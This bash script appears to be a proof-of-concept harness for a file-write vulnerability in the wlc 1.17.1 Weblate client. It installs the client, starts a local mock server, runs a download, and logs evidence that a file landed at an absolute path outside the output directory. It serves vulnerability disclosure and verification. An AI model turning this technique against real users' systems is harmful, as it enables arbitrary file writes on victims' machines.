#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
LOG_DIR="${ROOT_DIR}/logs"
VENV_DIR="${ROOT_DIR}/.venv"
PYTHON_BIN="${VENV_DIR}/bin/python3"
PIP_BIN="${VENV_DIR}/bin/pip"
WLC_BIN="${VENV_DIR}/bin/wlc"
PORT=8123
SERVER_SCRIPT="${ROOT_DIR}/repro/mock_weblate_server.py"
SERVER_LOG="${LOG_DIR}/mock_server.log"
WLC_LOG="${LOG_DIR}/wlc_download.log"
EVIDENCE_LOG="${LOG_DIR}/evidence.txt"
OUTPUT_DIR="${ROOT_DIR}/repro-output"
MALICIOUS_FILE="/tmp/weblate-owned-absolute-component.zip"
API_URL="http://127.0.0.1:${PORT}/api/"

mkdir -p "${LOG_DIR}"
mkdir -p "${OUTPUT_DIR}"

cleanup() {
  if [[ -n "${SERVER_PID:-}" ]] && kill -0 "${SERVER_PID}" 2>/dev/null; then
    kill "${SERVER_PID}" 2>/dev/null || true
    wait "${SERVER_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

if [[ ! -x "${PYTHON_BIN}" ]]; then
  python3 -m venv "${VENV_DIR}"
fi

"${PIP_BIN}" install --upgrade pip setuptools wheel >/dev/null
"${PIP_BIN}" install "wlc==1.17.1" >/dev/null

rm -f "${MALICIOUS_FILE}"

"${PYTHON_BIN}" "${SERVER_SCRIPT}" --port "${PORT}" >"${SERVER_LOG}" 2>&1 &
SERVER_PID=$!

for _ in {1..30}; do
  if curl -fsS "http://127.0.0.1:${PORT}/api/components/" >/dev/null 2>&1; then
    break
  fi
  sleep 1
done

if ! curl -fsS "http://127.0.0.1:${PORT}/api/components/" >/dev/null 2>&1; then
  echo "Mock server failed to start" >&2
  exit 1
fi

set -o pipefail
if ! "${WLC_BIN}" --url "${API_URL}" download --output "${OUTPUT_DIR}" >"${WLC_LOG}" 2>&1; then
  echo "wlc download failed; see ${WLC_LOG}" >&2
  exit 1
fi
set +o pipefail

if [[ ! -f "${MALICIOUS_FILE}" ]]; then
  echo "Expected file ${MALICIOUS_FILE} was not created" >&2
  exit 1
fi

{
  echo "# Evidence generated on $(date -u)"
  echo "# Malicious file path: ${MALICIOUS_FILE}"
  ls -l "${MALICIOUS_FILE}"
  echo
  echo "# Intended output directory contents (${OUTPUT_DIR}):"
  ls -al "${OUTPUT_DIR}"
  echo
  echo "# File preview:"
  head -n 5 "${MALICIOUS_FILE}" || true
} >"${EVIDENCE_LOG}"

exit 0